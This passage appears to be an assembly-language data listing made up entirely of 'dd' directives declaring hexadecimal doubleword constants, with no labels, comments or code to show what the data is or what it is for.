		dd 6D00DDDAh, 3C53515h,	72756FC6h, 0F42E00D2h, 5447CB69h
		dd 0BA00E30Bh, 0CA103DCEh, 0B934C4h, 0EEF7BD07h, 2942BB55h
		dd 0B239707h, 89A0E220h, 371A4E4h, 0E3831316h, 90EEDB69h
		dd 5FBB8101h, 0F66DA7DAh, 0D7789840h, 2767008Eh, 0E74A7DE6h
		dd 7B301810h, 340E5E21h, 7C417A20h, 271DBh, 763832B4h
		dd 0CE852B9Ah, 238CE103h, 0C04DAA47h, 0F495C2h,	0BB64445Ah
		dd 0CC799471h, 26200600h, 60FB5DA3h, 3325029Fh,	0F52C35B4h
		dd 5F7370C0h, 2BA4FA01h, 0FCBBC107h, 7C8FCDD8h,	424526C5h
		dd 4003A74h, 0E35E97BEh, 0A600C983h, 266F763Ch,	3B23738h
		dd 509CF71Eh, 0B80128C2h, 72F694BCh, 906068CAh,	4F1D0064h
		dd 0BDC3FF06h, 0EF002BB4h, 11872802h, 79D66803h, 950E0089h
		dd 0E4017DCBh, 9D00C7B0h, 5C334091h, 2AAF13h, 9808CFE2h
		dd 0CCCF346h, 0BF00017Eh, 5838782Fh, 0DAF453h, 2916EA04h
		dd 563E1174h, 0C186FD00h, 9002668Eh, 6C8900B6h,	42439AF1h
		dd 0AA00C9F7h, 0EB053117h, 7A52C5Fh, 0A4CC647Fh, 9403DBA0h
		dd 0B2F010EFh, 40049D6h, 410B38CEh, 0FFBBC18h, 0A52DA7E8h
		dd 0F3B1E340h, 0AE6046CDh, 809F8E32h, 3BFBF441h, 4080FA54h
		dd 0E8C532E4h, 160005A4h, 8F3EB9B4h, 1CF4D15Fh,	0C30B1C47h
		dd 3B0280DBh, 0D864A0E8h, 3871EA00h, 2E34E0C1h,	51C600C5h
		dd 540746EDh, 88FA44B0h, 89F6F4E6h, 0E8051400h,	0A1E71976h
		dd 2CF100A2h, 88A6AEE1h, 0FA0E5DADh, 0A04F2D5Fh, 830948BAh
		dd 0C012487Ch, 947F0207h, 0BEBC23B4h, 1E40ACC2h, 671718D0h
		dd 0EF82B52Eh, 0EA3C6056h, 36FC00BEh, 76CF49ADh, 820653F7h
		dd 66264322h, 0EF69004Ch, 960DD418h, 0A43E2D8Dh, 8C0F7DD9h
		dd 3FB386h, 0A02BBE23h,	64FF1E37h, 0D50442F5h, 58C0D202h
		dd 0B008648h, 0FA26E9CCh, 38923D73h, 7483DDA5h,	0A4A21DE2h
		dd 22EABCDBh, 86088E81h, 859060ABh, 67400307h, 0FD7019A5h
		dd 2FEAC7h, 0CCE02E5Bh,	0B66E4730h, 4368DB00h, 14F693D8h
		dd 0F015F2EAh, 923E00BCh, 35DAA155h, 84000CE0h,	0D247FFA6h
		dd 0CC7E18Ch, 0BDF820E7h, 0F900C528h, 46D67B9Eh, 3EE3C8B7h
		dd 0A7802A6Bh, 17C1E9CEh, 0E77E5A6Eh, 3858D300h, 895D68E2h
		dd 5B4400F4h, 0EC0647B1h, 0AE000B09h, 21B69BE1h, 5180711h
		dd 0F73D314Ch, 8DAC8188h, 3025E0FCh, 52DABC01h,	3CEA4964h
		dd 0F173720h, 2F1AE16Dh, 3E7AC2A0h, 6700EE0Ch, 7ED8E9B7h
		dd 461A4B2h, 8E5A0865h,	0A1E48077h, 1302BBEDh, 60C0FD53h
		dd 74E46001h, 0EF4F7F1h, 421700C5h, 0E37B3EB0h,	680BB15Ah
		dd 2E0C13h, 417C6C98h, 1FFB306Bh, 0B02AD210h, 0C59B1100h
		dd 0E85E813Dh, 1CD26C9h, 78342AE0h, 0A4B6589Fh,	6493FB00h
		dd 80EDF237h, 0F076506h, 7E987122h, 2F280016h, 0BDDD1B8h
		dd 0B3076CF3h, 42760DBAh, 19FA5C90h, 2C01007Fh,	5BD48129h
		dd 6407D3DCh, 0B21FAC48h, 0BFF54150h, 5F040518h, 0C0355501h
		dd 0C9FC8E44h, 0C4E720h, 6FF6084Dh, 0D8D307DBh,	3193BF0Fh
		dd 0D90AE264h, 0EB00E3B2h, 10F0B836h, 0AAB40F08h, 0F8208718h
		dd 2343D432h, 469AB209h, 99F08770h, 304D8F60h, 44900BDBh
		dd 0A200C6F5h, 2E531A33h, 0A2291700h, 810E7EFDh, 0F8C10454h
		dd 80C60A6Fh, 58066C9Dh, 402E6900h, 0D4832844h,	38A77905h
		dd 4500BB27h, 8C4A2FD2h, 74B09D79h, 0AC2A59h, 4DEB742Eh
		dd 5239CBh, 14D9C826h, 7CFFC24Bh, 2F19FC2Eh, 0B483D05h
		dd 41DBB80Eh, 9C1B5717h, 436C60FAh, 9E785CC3h, 0FF4A941Ch
		dd 0ACF72895h, 4963CC00h, 6BBE8CADh, 905AFA24h,	9E250200h
		dd 0D5D3CFh, 8364052Bh,	2936557Ah, 0F61FB800h, 59821871h
		dd 0D9B6005Dh, 0E8072021h, 349A0692h, 0FE610C00h, 62AE9EA2h
		dd 3BF60032h, 0D54C74D9h, 12480557h, 0B016024Ch, 4890FC6Fh
		dd 7BCD254h, 0E140887Eh, 3062AE25h, 18C08DEFh, 8F043DCBh
		dd 28329EACh, 23FE5880h, 309F4C03h, 8086CF1Dh, 0B7683824h
		dd 0E30E8569h, 7EC7CAB6h, 0F917F280h, 0F2009B4h, 0BB9678DBh
		dd 0C008CCE5h, 0F33C8FB2h, 18B25Ch, 0CF0E7F37h,	1C2B2270h
		dd 5E6C9D65h, 5D57413Bh, 30B67DCAh, 4F02D3F8h, 528BF4BCh
		dd 160CCBF9h, 4F3F60CAh, 7A214DA0h, 702F8ED1h, 99009A18h
		dd 0F03879A0h, 0C59F30h, 109C945Ch, 0D9AD6752h,	532A5A00h
		dd 0E53F82A0h, 0BCA80058h, 1C02D217h, 93D3876h,	44508147h
		dd 0C28EBE7Eh, 5C4CC5DCh, 73D3E7h, 0F324D03Ch, 0DD4ADA6Fh
		dd 28359301h, 618E69C4h, 0ADA89980h, 38649D81h,	58834D00h
		dd 0AB8DF3C7h, 0F191074Fh, 93A0E785h, 3970C3BFh, 0CA1F4800h
		dd 0ADB159F8h, 8775C7h,	11639C8Ch, 6CD8829Ah, 0BC19B07h
		dd 0CB106A4Ch, 0A0BF28FCh, 1B8F3A8h, 9C0A2BC5h,	0C85CDF9Fh
		dd 700592Dh, 0F4C412CCh, 204395Bh, 0F3E5D2E2h, 2040277Ch
		dd 0EF072155h, 7941159Bh, 0C0EDEB82h, 38754Ah, 4C9D7CA2h
		dd 6CD79149h, 0D560B700h, 2CFD553Eh, 0CA80E9Bh,	0BBE0542Fh
		dd 73BE8AD0h, 0A4F70600h, 0E3409D25h, 497700C6h, 1624302Fh
		dd 0E10B63E9h, 22AACD6h, 631373A9h, 2C59C890h, 1EEF70CEh
		dd 8C8C6FA0h, 8DD892FBh, 0C92F4130h, 6A04D18h, 0B296E746h
		dd 9EF4C011h, 3A2E3B0Dh, 0E4F848D4h, 9C381045h,	7A860870h
		dd 20781742h, 0B59445B8h, 3EDC4A06h, 2696E8C0h,	0C00D06h
		dd 0B0864E76h, 0DB00BDABh, 6EA5E474h, 0FE6FC5CAh, 0BE0301A3h
		dd 17919747h, 7D9820DEh, 0FEC22102h, 6807C612h,	1B3C940h
		dd 0C51B443Eh, 703D85F8h, 7009F74h, 61A1923Bh, 392B9C7Dh
		dd 78006422h, 0FE4F80FAh, 0B707DC5Ch, 0CF72F37Ch, 526A5961h
		dd 81AFC8CBh, 2D650031h, 7E05AC90h, 0CF0746C3h,	4987BD8Dh
		dd 1F74DA00h, 0EA16009Fh, 94A0F912h, 0F00120D4h, 0A53FDC2h
		dd 13CF4C98h, 66A9C1h, 0AAAC5833h, 873B0DFAh, 6C6B025Bh
		dd 0E0746DDDh, 5641A8h,	90BB07D6h, 2FB8F079h, 4531F20Eh
		dd 0BA18E0F1h, 249B4A6Dh, 1CC12Ah, 0A53EB20Fh, 6F16A47Ch
		dd 0FA2867h, 0A88DBE9Ah, 175361Fh, 0B7A2B301h, 0B491052Ch
		dd 82003432h, 0B2866213h, 0AA025360h, 0EEC7667h, 69B8605Ch
		dd 7CFC057Eh, 80CA73E4h, 85E19618h, 5CAE8B00h, 0E60472F9h
		dd 0B890B1h, 0AF123693h, 5EE11117h, 4608FD00h, 0A62FC337h
		dd 91E90489h, 807C5D8Dh, 0BDF6820Ch, 0FD36800h,	0E25F848Fh
		dd 0B9C10F26h, 0C880F8DAh, 0BDB8AD61h, 72BBA000h, 0B4929440h
		dd 22C50090h, 0F3012E1Ah, 0F1047B60h, 31BE18B8h, 89D224D0h
		dd 85D89C42h, 818C0AD4h, 0ED9D1317h, 582C4Ch, 2BEA4347h
		dd 0E34552Eh, 3A9F358Bh, 491A9D42h, 48DC440h, 29408F00h
		dd 0ADDF2855h, 6F530D77h, 42BC27CBh, 9471E194h,	0C13DDD40h
		dd 1F780042h, 0C005F5AEh
		dd 0CE12A485h, 0E8038B6Dh, 9D29E09Bh, 0CB607DC0h, 514665A1h
		dd 0D5C4157h, 2CADE49Ah, 0BB800A0h, 6DF44FC9h, 31A800AEh
		dd 50876FA9h, 720512FBh, 174D3B95h, 3A033480h, 0D4B0380Eh
		dd 2F805B00h, 609D6937h, 0A968F405h, 30C0F22Ah,	5D30511h
		dd 0FA7ABAB1h, 26C400EAh, 0EF835988h, 64EC7D00h, 5B513CCCh
		dd 0A4070076h, 8AD12F12h, 1F1D3EB7h, 94010FCh, 60A26A67h
		dd 448F0007h, 6BBA14FDh, 0D250969Ch, 0DB009DD8h, 0D43F4302h
		dd 16FB4Fh, 0BD2ED734h,	0A7AED11Eh, 4468FDh, 11F0E87h
		dd 77A72C0h, 0FD3C6CD3h, 6D68A16Bh, 394C2D1Ch, 5CA0EA2h
		dd 0F30605DBh, 30CC5490h, 6774C0E0h, 0A1A9733Dh, 50B07E7Fh
		dd 0FA84A00h, 0E571A4E7h, 0DECA031Ch, 356FC491h, 0A2F6E6F0h
		dd 98CBC53Ah, 406EC00Ch, 3EB0007Eh, 9906FE25h, 3C902431h
		dd 0F9D5ED00h, 70E1DDA3h, 0A6193CEEh, 51276D81h, 707BF47Fh
		dd 2B059A20h, 0D83715C5h, 0E10F9C87h, 5DB75EBh,	3FBFCC20h
		dd 478FCF19h, 0F887E2ABh, 348009A6h, 0A12003A7h, 0C112CA74h
		dd 32024A19h, 62D4854Bh, 0A621C03Ch, 6D1A00B6h,	0A31CE3E2h
		dd 60939B7h, 0C0CF499Dh, 1F3B35Ch, 5DC379EFh, 0EC43ABD7h
		dd 0A500DCE9h, 97BD69D4h, 0F8BC17Dh, 382DBEBCh,	0E0C0152h
		dd 684C416Bh, 0AFA71D44h, 4DF1CFh, 0A4AE0C76h, 171090B1h
		dd 41C9FA3h, 0C08DE15Bh, 0A9E79418h, 271F4000h,	0FD463D7Ah
		dd 1137F6Fh, 0AD8989Ch,	2064F04Dh, 0A40087D8h, 2980F5B6h
		dd 18507FA5h, 0E16DE930h, 0A7131BABh, 58D0556Eh, 3F41257h
		dd 1D40819h, 5E88F709h,	0BE0080CFh, 0DC256A62h,	0F51A52h
		dd 878E8F0Ch, 5A8ACB46h, 0FEB0FF04h, 0ACC10319h, 5931EDE5h
		dd 4AAC20h, 98C6B141h, 1EA088C9h, 0ECFD671Dh, 31F47140h
		dd 0DABDFCh, 2B21DC48h,	53113354h, 0EB353400h, 0B457DFB3h
		dd 49F50024h, 0B10F3669h, 8005D95Eh, 0A4793F4Eh, 3592DCC0h
		dd 6BF0F5h, 0EBA6207Eh,	832871D8h, 13C8A20Ah, 6C00C0D6h
		dd 7CADF3FEh, 61BD00D1h, 63B178BFh, 0E6003365h,	0E92681A2h
		dd 7415111h, 59021409h,	0C20560C4h, 554CD374h, 0B8A8008Bh
		dd 0FE7FC882h, 0D95700C3h, 0C300306h, 6A03C591h, 0AD3D24DEh
		dd 2CF0DF61h, 1C0CFFFh,	65451363h, 2B92D8AFh, 72D0C2F1h
		dd 0C2013F84h, 8B55D7Fh, 56DC4500h, 817CD025h, 80E7FE3Fh
		dd 1D7B6A8h, 7114EF69h,	50CB004Dh, 9F0910F5h, 4300D638h
		dd 827C34D9h, 3C4003h, 4BC4258h, 0CA248A0Ch, 0B0EEBF0Bh
		dd 772E055Fh, 83ECDCE4h, 0ECCA16C4h, 0C38E078Eh, 6F241C97h
		dd 193EB021h, 530BCD0h,	0EF91FE4Bh, 0EC9280C0h,	0DE7E0018h
		dd 589D787Fh, 490052BFh, 0E95EAB3Dh, 1673F3Eh, 5F0FA3E0h
		dd 0A445D8C8h, 29015038h, 0D0FA91F1h, 0C63480D2h, 76B5EE3h
		dd 0FB859F13h, 96AF40BEh, 9300F6DAh, 0AA453F1Ah, 4562970h
		dd 57891185h, 0ED4D25Ch, 7310FCF1h, 0D45FE620h,	501808h
		dd 0B8C6F1C2h, 0C297C138h, 9FA16044h, 5C8D00AEh, 36744EE7h
		dd 0BA00FA64h, 0CF6EF9B5h, 0F863BC52h, 0AF9B004Bh, 58111E5Dh
		dd 0A1C400Fh, 10007FEBh, 0FC8868BCh, 4ED800E0h,	7BEF9F12h
		dd 8400E5C3h, 5EA494C4h, 31B93CCh, 12639A27h, 40B09098h
		dd 0ECBEBA5Dh, 10E69D81h, 0F98C36CAh, 8608B63Eh, 0F2000094h
		dd 288310E7h, 32811D3Bh, 222741C0h, 0D4CC5386h,	0CB2AB3BEh
		dd 0ED148488h, 6903AC5h, 0ECE54F1h, 21836709h, 153A10CDh
		dd 22001105h, 50B32EFFh, 4C324CCCh, 78CADEh, 0BD9277E7h
		dd 0B954E089h, 9A5F7A7Ch, 0B3037452h, 788C0F4Fh, 1459C038h
		dd 62D53A65h, 7BA31A19h, 0E9185CE9h, 36CB1004h,	9833AE47h
		dd 9EF32100h, 633DA10h,	5AC00C1h, 8CA528BAh, 69C1CEF1h
		dd 0A1EE0227h, 0DEBC6080h, 6EE4EF23h, 0B613890Ch, 0ADD18A6h
		dd 87FF4D43h, 32100390h, 0D80C80AAh, 3892499Ah,	2700FBBBh
		dd 0C700A84Dh, 0FB4CA9B7h, 0B80BF7h, 49A0946Ah,	1776C68Bh
		dd 0CB00A479h, 0EA38575Ch, 902CD4E4h, 0BAB83E1Dh, 0FD3E7780h
		dd 1B506535h, 0E3B3E200h, 457B289Fh, 0E8C00048h, 0ED567CE9h
		dd 1600F3B9h, 8BFEC438h, 2FA788h, 0C89EA135h, 849276ABh
		dd 0A94E0400h, 8A2A74CDh, 87B3D0Eh, 10B81F80h, 85FA8351h
		dd 7517DC07h, 8C60AA5Dh, 9840FDA6h, 0B46900B6h,	0E8CEB9C0h
		dd 6F07BE42h, 0D2A2919Eh, 1CB08341h, 6EB64880h,	0F5892476h
		dd 0B46F59C0h, 0FCBEBBE4h, 1887F1B9h, 812544F9h, 98DF41C8h
		dd 8228BA50h, 35BB3B91h, 27169380h, 5D3F032Fh, 811856E8h
		dd 3741439Dh, 1DA00996h, 0A30016B1h, 0F718B7C5h, 0A51FDEF8h
		dd 0C00B630h, 71E9DA09h, 624771D0h, 8CC1C08Eh, 96EA9100h
		dd 7297060h, 9D8B1E9Eh,	0B2862F25h, 47FE199Ah, 2DEE2000h
		dd 98F11C2Ch, 0BE0F00FEh, 0AE1055BAh, 2002F1Fh,	0B09E5DE0h
		dd 0CDC28Ch, 2951E2C5h,	93B34FB8h, 0B9CE4100h, 9A2DBACAh
		dd 0FE3F01DAh, 5FC458AAh, 8EF03F3Ch, 44CA06D7h,	40F48424h
		dd 0C457BF1Dh, 1ECD3A39h, 32DF6EF1h, 0D4474F06h, 0F64D0118h
		dd 66993C37h, 80CCD98Fh, 7E91D138h, 0BADAC7h, 7451FCBFh
		dd 0FD6F7088h, 78B13F00h, 0B0974EE8h, 0E55730D0h, 504DC560h
		dd 0A3A0D2F4h, 8D0044F2h, 1835EAD1h, 0FA4FDA65h, 0DB0DEA2h
		dd 0D868C9DEh, 0CD0096FDh, 0B1CBDC2h, 6A7044h, 0B3C186EAh
		dd 1D984667h, 1ABEC800h, 2E8A664Fh, 3DE20133h, 5A3F3599h
		dd 4510809Fh, 8E1FD571h, 3E4D0C2Bh, 9192232h, 21D8C945h
		dd 2AE33BA8h, 0C56D438Eh, 897E49C6h, 0D648D207h, 8D625BD5h
		dd 0E3C0A0A4h, 3883130Ah, 0C9012CC8h, 0E415027h, 8DC880BFh
		dd 0AEFB6065h, 7E9300F2h, 0E3E46879h, 9E00F5FFh, 82A0E03Bh
		dd 1F885608h, 87DEE64Dh, 0A03A2AB7h, 0A8FE0721h, 0B08A3E02h
		dd 40929664h, 3DDB1F2Bh, 0F10059BEh, 7E830B8Eh,	0FB037949h
		dd 8036F8C8h, 3A10D89Eh, 0A31F006Dh, 6AF08121h,	0B4039396h
		dd 0E020BD56h, 9ACEC02Fh, 5B4B0031h, 0C2E226AEh, 46001B42h
		dd 849D8A9Bh, 138B4AFh,	0A7BAD6D4h, 70E82E41h, 2702F0FCh
		dd 9A9BB637h, 51D9400Bh, 50AD6026h, 0F06CE033h,	0FF367D00h
		dd 854DC17Fh, 3EAE0097h, 5C1F11FCh, 19008826h, 0F3E0D604h
		dd 0E23BD4Ch, 0B6E45953h, 0AD08BA60h, 0DF00BB02h, 0D64BC3A9h
		dd 0CF77652h, 1E942322h, 2284AE29h, 0BE22727Ch,	40EBFC77h
		dd 228442E3h, 0BA42AF3Fh, 74F6F811h, 84C03144h,	2275A622h
		dd 8A42FA84h, 77A65F11h, 0E7CE2284h, 291132A3h,	6E21AA19h
		dd 0E1E09704h, 8E51920Ch, 0B403A27Bh, 0A8AF79D0h, 5377C813h
		dd 0FDD1CB0h, 0D612CF46h, 0CBCFFD20h, 96F820C8h, 6A3DE707h
		dd 800B5C15h, 401F885Ch, 14570070h, 0EEA3EA21h,	0B500275Dh
		dd 0BE7D8E04h, 67F6FBh,	24E2260h, 2EC4D4D7h, 0F11EA000h
		dd 0A91F7462h, 49F8038Eh, 0EE6A86DBh, 0E86C32F1h, 0EB014822h
		dd 195C29E9h, 3EC88578h, 0C7640031h, 289AF9Ah, 0C100B9C5h
		dd 0AE6A5CD2h, 19108Bh,	4DC0EA74h, 35F7FAF9h, 56FCAC00h
		dd 0C87ADCD7h, 9E580012h, 0F1775C27h, 840F82DFh, 83D24651h
		dd 0A0D02D98h, 5FEEE3h,	663BCDA0h, 9604FC55h, 0F800BEB8h
		dd 1513ADE9h, 0E63097h,	0EDCB9B4h, 1A7CD261h, 0E16CF509h
		dd 0BCBB0078h, 0F6E27EEBh, 6EAD004Dh, 7027A4DAh, 3A00F742h
		dd 0E8445134h, 2D08F0C1h, 0BD58AA71h, 38016CFCh, 0EBF3ACA2h
		dd 0DFE023A6h, 0E40A3CDCh
		dd 0A37E5907h, 0DEAC00F1h, 20002B81h, 0FD86ECCAh, 2FFA049Eh
		dd 8F070C14h, 458330A5h, 4D07EE4Fh, 0CC95A22Bh,	0B2101887h
		dd 0B52348h, 96125F8h, 14B108D2h, 418A1D07h, 75D1B205h
		dd 46D0E029h, 2A9D009Eh, 0D64FF1A5h, 64161935h,	9002B6AEh
		dd 802BBDA7h, 6F61DE8Ch, 176C0FD0h, 53383D7h, 0C040C600h
		dd 9CAA2479h, 82A59E00h, 0AB4BAC41h, 0C69A5175h, 881CEE68h
		dd 0B9D7C042h, 8DECC2A5h, 0D45092FEh, 4400D2A4h, 8AC5A6CAh
		dd 0DAA519h, 0E578A936h, 99DE799Ah, 0EF7689E6h,	60233A00h
		dd 3CF466D7h, 1D9A00C8h, 52FBF93Bh, 0AAF6E644h,	79A97407h
		dd 0B9D0D3E5h, 7D64ABD7h, 14A000EAh, 0F96D0182h, 5E00C0A9h
		dd 51C6FFE2h, 73AFEE65h, 0A1A6124Dh, 0A84C016Eh, 0E08DF6C0h
		dd 27F2A0Eh, 9D505400h,	0A310CD68h, 44E84828h, 0F19CB33Bh
		dd 1A854019h, 79FAB6Ch,	71D18300h, 9BA482DEh, 31E60058h
		dd 2044DC94h, 4A124D66h, 501F9157h, 3A06B8C0h, 71F0D5Fh
		dd 60A08FA7h, 0D06A509Ah, 24055A40h, 63274556h,	7E9E50C0h
		dd 0B5420920h, 0C2015D90h, 0DC411B59h, 4BE05A04h, 0E543B800h
		dd 2F8F14CDh, 7491B9h, 52126C02h, 30EC18FDh, 7621DD00h
		dd 8AD64AAEh, 0D48E00A1h, 0C6CDEC7Eh, 0C3015732h, 663D7A07h
		dd 2760B486h, 649206F9h, 0E87FE885h, 0A10323F0h, 0A42E21E0h
		dd 0B15A834h, 87F83F77h, 0D58FB33Dh, 513668Fh, 0C00D26CCh
		dd 0C00422F7h, 1B8CF201h, 490219CDh, 694B70h, 87E409Dh
		dd 9566D491h, 0C3B4B75h, 413780C3h, 94740E88h, 0C8F700A3h
		dd 0A87C1E0Dh, 0DB000584h, 7FDBF58h, 17B5CDFh, 188ED7B8h
		dd 70DCF3E7h, 72005D86h, 0A7C40444h, 0FC633603h, 53351784h
		dd 0A6D31EC9h, 800D013Dh, 34A77AFBh, 0E5A09370h, 5B0396BBh
		dd 3B09BF5h, 0E75000F1h, 0BA3C11CAh, 4A004629h,	0A2B322D5h
		dd 1E124E2h, 0ADD8C151h, 0E83A6F93h, 581E371Dh,	67C99D64h
		dd 9238025Dh, 7CB960BCh, 0EC25774Dh, 0F2C100B2h, 0E8FC6CC7h
		dd 0D9B8E395h, 517E8500h, 0DE31688Dh, 597F00EFh, 5C891793h
		dd 3FE484F1h, 97F5C400h, 0AA8CF7FDh, 0A4B00DBh,	388EAC7Bh
		dd 8400B9E3h, 0EEE77823h, 0EBB1CFh, 86530CC0h, 5DEF6210h
		dd 0BEA2F800h, 0CD42E567h, 0F098003Ch, 0FD87C60Dh, 583EF61Fh
		dd 378B0A30h, 4A1FD8D2h, 0DAD8ADC0h, 0B607FAEh,	0ED3136E9h
		dd 574D1001h, 33E809C4h, 0AA6B003Eh, 0E2E71B80h, 3B1FCFC6h
		dd 7AFFE172h, 51EA7300h, 0B8DA31DDh, 8FB4009Bh,	1CF35F3Bh
		dd 59002B97h, 66BAD23Dh, 83D596h, 0FE2C04F9h, 0B4A2223Eh
		dd 6A487C90h, 0C3CC001Eh, 14E34573h, 9492486Dh,	9976B900h
		dd 9F520E56h, 19AAEA14h, 284D0080h, 0E1A3B204h,	69D93A7Bh
		dd 0FCFA4800h, 1431A78Ah, 24049F07h, 0B9B04528h, 542C46h
		dd 2F336F23h, 0E5F45110h, 3CE86B00h, 381F661Ch,	9DFC4Ah
		dd 637A0558h, 282C9E50h, 0F0EC4900h, 2E028BC5h,	1E39EAC7h
		dd 40DCAC98h, 0E5191866h, 0DE0788DBh, 0B06FD01Fh, 599A120h
		dd 80A605E2h, 80C1BB21h, 46A7E644h, 2490BE50h, 93B81600h
		dd 984E323Ch, 58800E3h,	7568F1B7h, 0F801D467h, 11FF1EA1h
		dd 4080C2CBh, 385FA527h, 2B0155B0h, 667090C3h, 307039C4h
		dd 691F006Ch, 1DA2D542h, 0EB00BD1Ah, 9544F3B5h,	4751EB2h
		dd 0BFF6ED91h, 0E90C058h, 0AB008220h, 90046E9Ch, 38446BFBh
		dd 0C680DC7Dh, 0B109DEADh, 85586003h, 2EB0770h,	483082F3h
		dd 3F951BEh, 44762890h,	0DCC07BD9h, 29002D70h, 0F822CE53h
		dd 0A30743h, 0AC061327h, 0E2C0DEB2h, 0A8845812h, 4A70BF00h
		dd 948FCBCh, 302A2041h,	0EE5D14A0h, 80FFB0A9h, 0BB81B418h
		dd 0B7582ECh, 0F94E6852h, 0A58800DFh, 3A219Dh, 24A4DE32h
		dd 16CE3155h, 54F33E2Eh, 5261D900h, 2AFDFB7h, 0D0B392C8h
		dd 8C8018AEh, 50A0FCCAh, 723C1D07h, 823093DCh, 38B03EB3h
		dd 0F680B1D1h, 7C104663h, 0F200381Ch, 1F97AD1Eh, 0B72754Dh
		dd 7D959390h, 0EF83EB80h, 0E95841A2h, 0A310B58h, 20AA0901h
		dd 8E3A2334h, 0B6B20056h, 3B463E41h, 5E0353E9h,	302C2105h
		dd 6C86A850h, 9AA007ECh, 0B00FE3DDh, 31FA755Dh,	0FEEDCF00h
		dd 158D795Fh, 83030090h, 0C94BDA35h, 3C00D001h,	9C7F8F51h
		dd 3854B7h, 0F352DE6Eh,	1B958DA3h, 57D6B002h, 0E087887Eh
		dd 0E84EC8BCh, 8B6E00E0h, 0DB1F5440h, 69F601C5h, 0F973DD00h
		dd 9963EA39h, 0E89A1FF4h, 92AC003Eh, 86763B6Eh,	0F4A1900h
		dd 0C59B4BB4h, 14C01345h, 0E11C02EFh, 0BC66A9B1h, 924D9E04h
		dd 2480DD26h, 0C001CEh,	0BF49A3F4h, 0ABB3EAFCh,	189F880Ch
		dd 12ACD661h, 720D8C9h,	31932ADCh, 70F94D77h, 3D0EE7FCh
		dd 0C038135Bh, 1494E995h, 480498BFh, 8EC46077h,	0F1880043h
		dd 0FE203538h, 0EC5A007Fh, 4798A863h, 542CD86Fh, 810CB109h
		dd 0F2B812h, 0B208831Dh, 680B9779h, 0FE6EE507h,	8980715Bh
		dd 13D82Dh, 539EDC50h, 4695EAC5h, 83E2280Eh, 0D7370098h
		dd 2065B1h, 691521D9h, 0FCA5625Ch, 0BA8B338h, 0F486AFh
		dd 0F6C46A0h, 69C5025Fh, 0FB2F93E6h, 344EA8C9h,	620E08D0h
		dd 0F1A91Eh, 0B02BB587h, 3960002Eh, 6E2861E7h, 9490331Ah
		dd 72DE800h, 5851F3Ah, 50BE0F3Bh, 0F482F113h, 0E0413565h
		dd 66D060D0h, 3921C700h, 8E4FB9BEh, 6478008Fh, 0DD97439Ch
		dd 23008A91h, 0E5946D76h, 12EAFBD4h, 52A5DEh, 0FF21094h
		dd 0DD010C03h, 63D03D61h, 8C7074EAh, 0D8FD050Dh, 4335F8BAh
		dd 0DBB82ABCh, 0C99D1F98h, 0E21F41Ch, 0DD727100h, 0F5D6BFh
		dd 0F7DE6914h, 34D26D15h, 0ABB0FC01h, 0BC9B316Ah, 0AED8E840h
		dd 0BFF0DBh, 0EE2521FBh, 0FCC3B08h, 0C38D5C00h,	0F2A3E9C9h
		dd 4D010168h, 1C5A7C77h, 2FB88064h, 0FCBBDF17h,	0D6590305h
		dd 0A610A037h, 0D1EE3202h, 0C8173A1Eh, 69526Ch,	0A9DE94ABh
		dd 0E7167718h, 807A4E00h, 1C02E1ECh, 0ED7552h, 3C23FF4Ch
		dd 71F5EAF8h, 0E38C4F50h, 7C846256h, 9C00B8E6h,	0CAC6BAE0h
		dd 0FC3123EBh, 26B300D9h, 5E86FF46h, 4E003B8Ah,	0DE3EA2DDh
		dd 7EADF82Bh, 0E7AF0E18h, 0B900C73Fh, 0F19D5C60h, 34513100h
		dd 582EF84h, 1AFC0C56h,	14114337h, 4CC14800h, 4A62A35h
		dd 67BC007Bh, 2716D139h, 1B0221E3h, 0E81D1CD0h,	0A8744341h
		dd 0AD34FCh, 65E272F8h,	0C2A20F3Bh, 7F180676h, 76D84E35h
		dd 0F52E1E09h, 406300AEh, 0D40D39DEh, 501F2B00h, 0ED5CFE6Ah
		dd 915D1738h, 40651F86h, 9EACC5D7h, 0DD0FD661h,	60E1370Eh
		dd 6F60FFF9h, 8CF64C25h, 0BD234500h, 6970FABAh,	0C83C500h
		dd 59C62EA1h, 6EB80F89h, 0D9A04F98h, 9B2B4A93h,	9C2C7E00h
		dd 4611498Ch, 15F0D6h, 0E5DF9091h, 0F3EAF543h, 744CDB2Ch
		dd 97F09A8Fh, 80B00C0Bh, 0C3AF30A4h, 98E07C9Bh,	0B36E38C4h
		dd 64F6A680h, 11EEA16Dh, 0AEBB3F02h, 408B09D8h,	23D976h
		dd 0A75470D1h, 360584B3h, 8AA22F00h, 3FC0B237h,	871900AFh
		dd 0DE6AEE8Eh, 96129843h, 64003840h, 9C3CDA9Bh,	2DC80BBh
		dd 30A0F700h, 73C98F5Ah, 0F35401EEh, 0E866BD13h, 983FD843h
		dd 29BCE01Eh, 0F900821Dh, 0F8CA1D07h, 88D9031Bh, 1AC485DBh
		dd 2B4D54F0h, 0BBFF8B3Ah, 1C3280A8h, 0DFCDB3F3h, 3BA500BAh
		dd 0EB85F738h, 2600BB22h, 69ECA089h, 0FCB0D6h, 0D49CA695h
		dd 0FAA2F7EFh, 1A847C00h, 6E79B25h, 90D60042h, 0C3B44917h
		dd 6F0001A5h, 0FE554FD2h
		dd 2DD03B27h, 8440DEFAh, 0C2015C1Dh, 28F71E63h,	9660C9D1h
		dd 5FBA0392h, 9D1CD6CCh, 717DAD88h, 3D101906h, 0A1E2D8h
		dd 0AACDFB6Fh, 0AD5C310Ah, 0BC00D7E8h, 564DEAC0h, 72945F99h
		dd 2C0F007Dh, 0BEE55E3Bh, 0B20054FEh, 41D96C7Ch, 4F7F51h
		dd 898F752Ah, 98404A15h, 1100C0E8h, 7EE2F0Ah, 3E9639h
		dd 432E91B2h, 2A1DD6BDh, 7533D4Ch, 0A47C59E0h, 2D4D8BE0h
		dd 7BBB09AAh, 6080D710h, 5406FDDh, 19672E0Eh, 9660600Ch
		dd 6035FBF8h, 0E975F01Ah, 7607AAC8h, 0DDDFFCE4h, 510AF5B0h
		dd 9729004Bh, 67787935h, 0ED057355h, 0AA49C852h, 0EB494C1h
		dd 0C62460h, 0D1F07D4Fh, 7832EEF3h, 0D6EF090Bh,	2EB900B8h
		dd 1CC99061h, 685B1E98h, 0CF2B0088h, 36FD37E3h,	83003F53h
		dd 857909Eh, 13506EBh, 99B924A9h, 544E2694h, 0F68D00DCh
		dd 1F393828h, 0CBBEF300h, 94DCE187h, 1474002Eh,	4CB8C0CAh
		dd 27005976h, 0F3108E38h, 1E2DB5h, 0E2CD61FBh, 7626E960h
		dd 0C7CA5C07h, 62409405h, 298EA2h, 5A96FAB2h, 24BDD018h
